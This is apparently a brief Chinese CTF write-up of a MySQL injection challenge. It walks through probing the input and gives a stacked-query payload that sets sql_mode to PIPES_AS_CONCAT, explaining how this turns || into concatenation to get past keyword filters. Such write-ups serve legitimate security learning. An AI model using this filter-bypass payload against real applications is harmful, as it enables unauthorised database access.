一道考察sql知识的题目
思路

先尝试 1
返回Array ( [0] => 1 )
尝试其他注入语句出错
尝试堆叠注入
返回nonono
EXP
1;set sql_mode=PIPES_AS_CONCAT;select 1
set sql_mode=PIPES_AS_CONCAT;
-
SET是 SQL 的内置命令,用于设置会话或全局变量。 -
sql_mode是 MySQL 的一个系统变量,用于控制 SQL 的语法和数据验证检查。 -
PIPES_AS_CONCAT是sql_mode的一种模式,启用后会将管道符号||解释为字符串连接操作符(类似于CONCAT()函数)。这在某些情况下可以用来绕过过滤规则,尤其是当应用层过滤了CONCAT关键字时。
总结
什么?滚去看看MySQL的文档去
380

被折叠的 条评论
为什么被折叠?



